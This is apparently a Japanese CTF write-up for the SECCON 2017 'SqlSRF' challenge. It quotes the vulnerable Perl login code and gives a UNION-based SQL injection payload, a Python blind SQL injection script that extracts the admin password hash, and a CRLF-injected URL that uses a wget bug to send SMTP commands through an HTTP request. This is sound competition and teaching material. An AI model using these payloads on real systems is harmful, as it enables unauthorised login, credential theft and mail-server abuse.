CTF
SECCON2017

SECCON 2017 SqlSRF Writeup

※この記事は TSG Advent Calendar 2017 n日目の記事です。

問題

SqlSRF
The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.
http://sqlsrf.pwn.seccon.jp/sqlsrf/

解法

予備調査

rootに対してタイトルが「give me flag」であるメールを送れば、flagがわかるらしい。とりあえずサイトにアクセスしてみる。

root.PNG

どうやら4つのファイルが有るらしい。

  • bg-header.jpg:ただの背景
  • index.cgi:ログインページ
  • index.cgi_backup20171129:ログインページのソースコード
  • menu.cgi:ログインページに転送される

とりあえず、ログインページのソースコードを見てみる。

SQL Injectionできる

Perlで書かれているらしい

index.cgi_backup20171129
#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id),
    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

my $errmsg = '';
if($q->param('login') ne '') {
  use DBI;
  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
  $errmsg = '<h2 style="color:red">Login Error!</h2>';
  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
        $s->param('autheduser', $q->param('user'));
        print "<scr"."ipt>document.location='./menu.cgi';</script>";
        $errmsg = '';
      }
    }
  };
  if($@) {
    $errmsg = '<h2 style="color:red">Database Error!</h2>';
  }
  $dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;

読み進めていくと、

  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

sqlのクエリは、入力した文字を直接使用しているのでSQL Injectionできる事がわかる。

試しに、Usernameに'と入れて、適当なパスワードを入力すると、Database Errorを返してくることから、SQL Injectionできることが確かめられる。

Encrypt, Decryptが自由にできる

my $user = $q->param('user');
#(中略)
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
#(中略)
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>

ユーザーのリクエスト中のsave1であるとき、rememberというcookieにユーザーのリクエスト中のuserをencryptしたものを入れて返してくれるらしい。それぞれ、フォームの中でRemember Meにチェックをつけるとsave=1となり、Usernameに入れた値が、$userに格納されることがわかる。

つまり、任意の文字列を暗号化することができる。

Cookieの確認、書き換えの方法は以下を参照されたい。

さらに、

  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
#(中略)
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>

Userが空でrememberのクッキーの値がから出ないとき、rememberのクッキーの値がdecryptされて、フォームのUsernameに表示されることがわかる。

つまり、任意の暗号化された文字列を、復号化することができる。

さらに、

      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {

パスワードは、rememberと同じ関数によりencryptされている。

SQL Injection実践

上記の事から、

  • 好きなパスワードをencryptしたものを用意し、SQL Injectionでその値がクエリの結果として返るようにする。
  • パスワードに先程のものを入力する

事により、とりあえずログインできそうなことがわかる。

今回は、パスワードをapple(適当に自分で決めて良い)として進めていく。
蒸気の方法でencryptすると132e8a875acb8357c33c12058d5f2ee3となる。

SQL Injectionは

SQL Injection Cheat Sheet

を見ながら組み立てていく。

' UNION SELECT "132e8a875acb8357c33c12058d5f2ee3" --

となった。これをUsernameに、Passwordをappleに設定すると意味不明なUsernameだが、一応ログインでき、Menuに進むことができる。

user.PNG

netstatの結果が見れる。

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN     

25番ポートでプログラムが動いていることがわかる。25番ポートといえばsmtpサーバーである。メールを送ることが、目的だったので、何か関係がありそうだ。

adminでログインすれば、wgetが動かせるらしい。

adminのパスワード

adminのパスワードはencryptされてデーターベースに保存されている。

今回のSQL Injectionではクエリの実行結果を表示することはできず、クエリがErrorを起こしたかしか、ログインできたか、ログイン失敗したかの3つの状態しか知ることができない。今回は、ログイン成功とログイン失敗の2つの状態を使って、Blind Sql Injectionを行い、adminのecryptされたパスワードを奪取する。そうすれば、 Encrypt, Decryptが自由にできる ことから元のパスワードを得ることができる。

Blind SQL Injectionとは?
参考になりそうな資料を見つけたので貼っておく。

ブラインドSQLのコードは以下のようになった。(汚い)

import urllib.request
import urllib.parse

url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'





alphabet = "0123456789abcdef"

ans = ""

for i in range(100):
  st = 0
  end = len(alphabet)

  mid = 0

  while (end - st > 1):
    mid = (end + st) // 2
    chara = alphabet[mid]

    print(chara)
    target = ans + chara
    print(target)

    sql = "' union select '132e8a875acb8357c33c12058d5f2ee3' from users where username = 'admin' AND password > '{}' limit 1 -- a".format(target)
    post_data = {
             'user': sql,
             'pass': "apple",
             'login': "Login",
            }

    encoded_post_data = urllib.parse.urlencode(post_data).encode(encoding='utf-8')

    with urllib.request.urlopen(url=url, data=encoded_post_data) as page:
      page_text = []
      for line in page.readlines():
        page_text.append(line.decode('utf-8'))

    print(page_text[14])
    if("Login Error!" in page_text[14]):
      end = mid
    else:
      st = mid
  print("ans:" + alphabet[st])

  ans += alphabet[st]

  sql = "' union select '132e8a875acb8357c33c12058d5f2ee3' from users where username = 'admin' AND password='{}' limit 1 -- a".format(ans)
  post_data = {
       'user': sql,
       'pass': "apple",
       'login': "Login",
      }

  encoded_post_data = urllib.parse.urlencode(post_data).encode(encoding='utf-8')

  with urllib.request.urlopen(url=url, data=encoded_post_data) as page:
    page_text = []
    for line in page.readlines():
      page_text.append(line.decode('utf-8'))

  if(not "Login Error!" in page_text[14]):
    break

print(ans)

執筆途中なのでここから指針

wgetの実行ができる

とりあえずlocalhost:25にhttpリクエストを送ると

Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
--2017-12-10 18:41:45--  http://localhost:25/
Resolving localhost (localhost)... ::1, 127.0.0.1
Caching localhost => ::1 127.0.0.1
Connecting to localhost (localhost)|::1|:25... connected.
Created socket 4.
Releasing 0x0000000001f1dc20 (new refcount 1).

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: localhost:25
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response... 
---response begin---
---response end---
200 No headers, assuming HTTP/0.9
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
500 5.5.2 Error: bad syntax

と返ってくる。
ymzk01.pwnこれが、メールアドレスのドメインらしい。

URLしか変えることができない。しかもhttpプロトコルであることも変えられない。(実はwgetはftpにも対応しているらしい。)

なんとかしてhttpリクエストをsmtpのリクエストに偽装したい。

とりあえず、改行と空白をhttpリクエストに混ぜたい。

そんなバグはないかな?

「wget vulnerability CRLF」でググる。

https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-6508

ヒット

参考ページを見ると…

http://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html

!?
使えそう

とりあえず、smtpのリクエストをurlエンコードして投げてみる。

http://www.atmarkit.co.jp/ait/articles/0105/02/news001.html
この記事の画像を見ながら組み立てた

投げたURL

sample@example.comは自分のメールアドレスにする

127.0.0.1
HELO sqlsrf.pwn.seccon.jp
MAIL FROM:<sample@example.com>
RCPT TO:<root@ymzk01.pwn>
DATA
Subject: give me flag


.
QUIT
:25
urlデコード後(これをフォームに入れて投げる)
127.0.0.1%0D%0AHELO%20sqlsrf.pwn.seccon.jp%0D%0AMAIL%20FROM%3A%3Csample%40example.com%3E%0D%0ARCPT%20TO%3A%3Croot%40ymzk01.pwn%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0A%0D%0A%0D%0A.%0D%0AQUIT%0D%0A:25
HTTP request sent, awaiting response... 
---response begin---
---response end---
200 No headers, assuming HTTP/0.9
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
250 ymzk01.pwn
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 2A0AA26633
221 2.0.0 Bye

     0K                                                        38.0K=0.009s

2017-12-10 18:46:50 (38.0 KB/s) - '/dev/stdout' saved [334]

どうやらきちんとsmtpサーバーに受け取ってもらえたらしい。

メールが来た!

Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19

decryptしたらフラグゲット。